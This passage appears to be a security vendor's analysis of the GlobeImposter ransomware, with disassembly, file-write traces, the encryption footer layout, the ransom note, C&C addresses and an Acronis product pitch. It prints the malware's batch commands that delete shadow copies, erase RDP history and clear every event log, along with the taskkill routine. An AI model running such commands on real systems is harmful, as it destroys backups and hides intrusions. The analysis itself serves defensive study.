004092B9 lea     eax, [esp+21ECh+var_2160]
004092C0 push    eax
004092C1 lea     eax, [esp+21F0h+var_21C8]
004092C5 push    eax
004092C6 call    HashFunc1
004092CB lea     eax, [esp+21E8h+var_21A0]
004092CF push    eax
004092D0 lea     eax, [esp+21ECh+var_21C8]
004092D4 push    eax
004092D5 call    HashFunc2
004092DA dec     edi
004092DB jnz     short loc_40929D

```

The cryptolocker reads a block of data from an original file and rewrites its content with the block of encrypted data in the same file. The block size is 8192 bytes if a file is bigger than that.

12:22:44.2630763 AM	globe.exe	304	ReadFile	\\Device\\VBoxMiniRdr\\vboxsrv\\inbox\\testfiles\\1.mp4	SUCCESS	Offset: 4,882,432, Length: 8,192
12:22:44.2633489 AM	globe.exe	304	WriteFile	\\Device\\VBoxMiniRdr\\vboxsrv\\inbox\\testfiles\\1.mp4	SUCCESS	Offset: 4,882,432, Length: 8,192
12:22:44.2634727 AM	globe.exe	304	ReadFile	\\Device\\VBoxMiniRdr\\vboxsrv\\inbox\\testfiles\\1.mp4	SUCCESS	Offset: 4,898,816, Length: 8,192
12:22:44.2637347 AM	globe.exe	304	WriteFile	\\Device\\VBoxMiniRdr\\vboxsrv\\inbox\\testfiles\\1.mp4	SUCCESS	Offset: 4,898,816, Length: 8,192
12:22:44.2638551 AM	globe.exe	304	ReadFile	\\Device\\VBoxMiniRdr\\vboxsrv\\inbox\\testfiles\\1.mp4	SUCCESS	Offset: 4,915,200, Length: 8,192
12:22:44.2641149 AM	globe.exe	304	WriteFile	\\Device\\VBoxMiniRdr\\vboxsrv\\inbox\\testfiles\\1.mp4	SUCCESS	Offset: 4,915,200, Length: 8,192
12:22:44.2642334 AM	globe.exe	304	ReadFile	\\Device\\VBoxMiniRdr\\vboxsrv\\inbox\\testfiles\\1.mp4	SUCCESS	Offset: 4,931,584, Length: 8,192
12:22:44.2644921 AM	globe.exe	304	WriteFile	\\Device\\VBoxMiniRdr\\vboxsrv\\inbox\\testfiles\\1.mp4	SUCCESS	Offset: 4,931,584, Length: 8,192
12:22:44.2646119 AM	globe.exe	304	ReadFile	\\Device\\VBoxMiniRdr\\vboxsrv\\inbox\\testfiles\\1.mp4	SUCCESS	Offset: 4,947,968, Length: 8,192
12:22:44.2648737 AM	globe.exe	304	WriteFile	\\Device\\VBoxMiniRdr\\vboxsrv\\inbox\\testfiles\\1.mp4	SUCCESS	Offset: 4,947,968, Length: 8,192

The added encryption footer contains:

- 32 bytes - the encrypted AES-256 key
- 16 bytes - IV
- 768 bytes - the encrypted auxiliary data from the key file that can be used to decrypt a file



```

00000000 E4 1A 38 46 F5 52 8D 49 1F 53 E9 5C 80 EC F0 7D ä→8FöR I Sé\eiö}
00000010 41 86 7C A7 6C E8 3E 2A 80 64 1F 3B CA E0 24 4C At|slè>*ed ;Êà$SL
00000020 F3 27 A7 4A 8C 4A AD A7 0B 42 44 12 B6 8E 59 98 ó'SJCEJ-S;BD↑ŹY~
00000030 1C 65 8A C4 68 71 46 99 19 ED B1 A1 EE A9 B5 03 eŠÄhqF™|í±;îøµˆ
00000040 BD AC EF 4B Encrypted data with AES-256-CBC :2 2C 35 84 ¼→iKädªÜª+UTÂ,5,,
00000050 34 A5 45 A3 E7 68 A1 96 73 1E 71 C8 C3 F2 91 C3 4¥Eƒçh;-s qÈÄò'Ä
00000060 69 91 2A F5 52 3E 30 A7 4D 7C A3 07 96 DF 2B B7 i`*öR>0SM|ƒ•-ß+·
00000070 11 40 FE 1D FE 35 61 B3 8B 1B AD C2 36 0E FB 16 ◀@p p5a³<←-Â6ßûτ
00000080 F8 8D A2 05 9A 1E C8 12 78 EC 4A 3C 3E 00 7E 05 ø c|š È|xìJ<>·~|
00000090 92 20 35 92 7B 4C Encrypted AES key F4 41 9D A1 33 B6 ' 5' {0Çžà²δA ;3Ŵ
000000A0 AA 41 18 66 E9 15 Encrypted AES key 8F C1 50 7C 6F 5D ªA↑fé|Xè û ÁP|o]
000000B0 62 52 0F 5C B7 A2 14 B IV A 6B A8 28 73 E9 B5 36 bR# \·çŴ¾:k" (séµ6
000000C0 36 44 20 31 34 20 39 43 20 43 38 20 35 42 20 30 6D 14 9C C8 5B 0
000000D0 45 20 30 45 20 45 43 20 36 46 20 35 37 20 32 35 E 0E EC 6F 57 25
000000E0 20 36 35 20 37 31 20 44 36 20 37 39 20 41 42 0A 65 71 D6 79 AB
000000F0 36 31 20 44 44 Encrypted auxiliary data 20 33 30 20 42 61 DD D3 F7 30 B
00000100 34 20 37 37 20 39 44 20 30 42 20 36 33 20 37 32 4 77 9D 0B 63 72
00000110 20 31 43 20 41 30 20 34 36 20 42 43 20 35 33 0A 1C A0 46 BC 53
00000120 45 39 20 39 34 20 34 31 20 41 36 20 35 33 20 41 E9 94 41 A6 53 A
00000130 34 20 36 43 20 43 43 20 34 44 20 39 46 20 41 38 4 6C CC 4D 9F A8

```

To release the user's files locked by running processes, the cryptolocker terminates the following processes with the help of the 'taskkill' command:

- outlook
- ssms
- postgre
- 1c
- SQL
- excel
- word

```

0040A1F2 push 7
0040A1F4 push offset off_401630
0040A1F9 push eax
0040A1FA call FindProcessAndKill off_401630 dd offset aSql ; DATA XREF: sub_409F1B+2D9↓o
0040A1FF push offset dword_40CBE0 ; "sql"
0040A204 push dword_40CFE0 dd offset aOutlook ; "outlook"
0040A20A call sub_409B9C dd offset aSsms ; "ssms"
0040A20F call sub_4096CB dd offset aPostgre ; "postgre"
0040A214 call sub_40979F dd offset a1c ; "1c"
0040A219 pop edi dd offset aExcel ; "excel"
0040A21A pop esi dd offset aWord ; "word"
0040A21B pop ebp

if ( v5 )
{
    v11 = HeapCreate(0, 4096, 0);
    v12 = HeapAlloc(v11, 0, 256);
    wsprintfA(v12, (const char *)&dword_401650, v18);
    lstrcpyA(&v16, "taskkill /F /T /PID ");
    lstrcatA(&v16, v12);
    CreateProcessA(0, &v16, 0, 0, 0, 0x80000000, 0, 0, &v15, &v14);
}

```

### Removing backups

The Globelmposter creates and executes the batch file shown below to:

- remove shadow copies of the files

- disable remote desktop capability
- clean the Windows events log

The image shows a debugger window with assembly code and a command prompt window. The assembly code includes instructions like `push edi`, `lea eax, [ebp+var_1004]`, `call CreateFileW`, `mov esi, eax`, `cmp esi, 0FFFFFFFh`, and `jz short loc_00409728`. The command prompt window shows the execution of `@echo off` and `vssadmin.exe Delete Shadows /All /Quiet`.

`@echo off`

`vssadmin.exe Delete Shadows /All /Quiet`

`reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f`

`reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f`

`reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"`

`cd %userprofile%\documents\`

`attrib Default.rdp -s -h`

`del Default.rdp`

`for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`

## Ransom note

The Globelmposter creates the ransom note file 'Read\_\_\_ME.html'.

# Your files are Encrypted!

For data recovery needs decryptor.

If you want to buy a decryptor click "Buy Decryptor"

Buy Decryptor

If not working, click again.

---

Free decryption as guarantee.  
Before paying you can send us 1 file for free decryption.

---

If you can not contact, follow these two steps:

1. Install the TOP Browser from this link: [torproject.org](http://torproject.org)
2. Open this link in the TOP browser: <http://n224ezvhg4sgyamb.onion/sup.php>

## Communication with C&C

---

IPs:

- 137.254.120.31
- 74.220.219.67 (active)

```
GET /js/count.php?nu=105&fb=110 HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: psоеiras.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx/1.12.1
Date: wed, 03 Jan 2018 15:12:10 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 54
Connection: keep-alive
Vary: Accept-Encoding
Content-Encoding: gzip
X-Acc-Exp: 600
X-Proxy-Cache: HIT psоеiras.net

.....KL55K1OJ4LL571H.0254I1OL.0KN.HK5QP....."....]
```




## Decryption service

<http://n224ezvhg4sgyamb.onion/sup.php>



<http://n224ezvhg4sgyamb.onion/open.php>



The available version of the Globelmposter decryptor by Emsisoft cannot decrypt files encrypted by this version of the Globelmposter ransomware [<https://www.nomoreransom.org/en/decryption-tools.html>].

## Alarming trend and Acronis protection


With this sample, once again we see that new ransomware actively deletes backup files in Windows. In addition, there is no working decryptor, which means if your files are encrypted and no proper backup was made, the data is most likely lost. Again, the good news is that

Acronis Active Protection successfully blocks the GlobelImposter ransomware, recovering files in a matter of seconds.

So when choosing your backup software, be sure to pick wisely if you want to keep your data safe.



**Acronis Active Protection** Settings

 **globe.exe was blocked**  
Next time the process is paused, you will be able to blacklist it.

After recovery, the affected files will be moved to a different folder.

[View 6 affected files](#)













Always recover files after blocking a process

[Recover files](#) [Do not recover](#)

**Acronis Active Protection**


## Recovery summary

The modified copies were marked with the .ENCRYPTED extension.

-  C:\Users\Public\Videos\desktop.ini 
-  C:\Users\Public\Pictures\desktop.ini 
-  C:\Users\Public\Music\desktop.ini 
-  C:\Users\Public\Downloads\desktop.ini 
-  C:\Users\Public\Documents\desktop.ini 
-  C:\Users\IEUser\Videos\desktop.ini 

[Close](#)

**Acronis Active Protection** Settings

 **6 files were recovered**  
The ransomware was blocked. To be sure your data is safe, scan your computer with antivirus software.

[View summary](#)

[Close](#)

If you're looking for a backup solution that come with the industry's only built-in active protection against ransomware, consider Acronis True Image and Acronis Cyber Backup. Both include technology that will detect the threat, block the attack, and restore the affected data.